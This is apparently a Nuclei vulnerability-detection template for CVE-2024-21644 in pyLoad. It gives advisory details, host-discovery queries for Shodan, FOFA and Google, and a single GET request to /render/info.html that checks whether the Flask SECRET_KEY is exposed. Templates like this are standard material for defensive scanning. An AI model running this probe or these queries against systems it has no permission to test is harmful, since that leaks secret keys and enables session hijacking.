id: CVE-2024-21644

info:
  name: pyLoad Flask Config - Access Control
  author: West-wise
  severity: high
  description: |
    pyLoad is the free and open-source Download Manager written in pure Python. Any unauthenticated user can browse to a specific URL to expose the Flask config, including the `SECRET_KEY` variable. This issue has been patched in version 0.5.0b3.dev77.
  impact: |
    Unauthenticated attackers can access the Flask SECRET_KEY and other sensitive configuration variables, potentially enabling session hijacking or other attacks.
  remediation: |
    Update pyLoad to version 0.5.0b3.dev77 or later.
  reference:
    - https://github.com/advisories/GHSA-mqpq-2p68-46fv
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21644
    - https://github.com/ltranquility/CVE-2024-21644-Poc
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-21644
    cwe-id: CWE-284
    epss-score: 0.86508
    epss-percentile: 0.99428
    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: pyload
    product: pyload
    shodan-query:
      - html:"pyload"
      - http.title:"login - pyload"
      - http.html:"pyload"
      - http.title:"pyload"
    fofa-query:
      - title="login - pyload"
      - body="pyload"
      - title="pyload"
    google-query:
      - intitle:"login - pyload"
      - intitle:"pyload"
    zoomeye-query: app="pyLoad"
  tags: cve,cve2024,python,pip,pyload,access-control,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/render/info.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "&#39;SECRET_KEY&#39;:"
          - "&#39;pyload_session&#39;"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5faaf088b350b51361c7a61d04bbf155202a73542390988eac8b294a57213dd022100af86f1c17aedab64c6c4d92804051c16073b66eda93b3f86808d065ad9b7b63a:922c64590222798bb761d5b6d8e72950